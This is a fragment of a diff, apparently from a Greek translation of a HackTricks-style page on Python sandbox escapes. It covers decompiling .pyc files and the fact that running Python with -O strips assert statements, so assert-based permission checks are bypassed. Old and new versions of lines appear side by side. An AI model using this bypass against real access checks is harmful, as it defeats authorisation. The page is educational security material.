Χρησιμοποιώντας εργαλεία όπως [**https://www.decompiler.com/**](https://www.decompiler.com) μπορεί κανείς να **decompile** τον δοθέντα compiled Python κώδικα.
|
||||
|
||||
**Δες αυτόν τον οδηγό**:
|
||||
**Δείτε αυτό το tutorial**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## Διάφορα Python
|
||||
## Διάφορα για Python
|
||||
|
||||
### Assert
|
||||
|
||||
Η Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει τις assert statements και οποιονδήποτε κώδικα που εξαρτάται από την τιμή του **debug**.\
|
||||
Όταν το Python εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει τις asset δηλώσεις και οποιονδήποτε κώδικα υπό όρο στην τιμή του **debug**.\
|
||||
Επομένως, έλεγχοι όπως
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
@ -1057,7 +1058,7 @@ print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
θα παρακαμφθεί
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
|
||||
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||||
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
|
||||
|
Loading…
x
Reference in New Issue
Block a user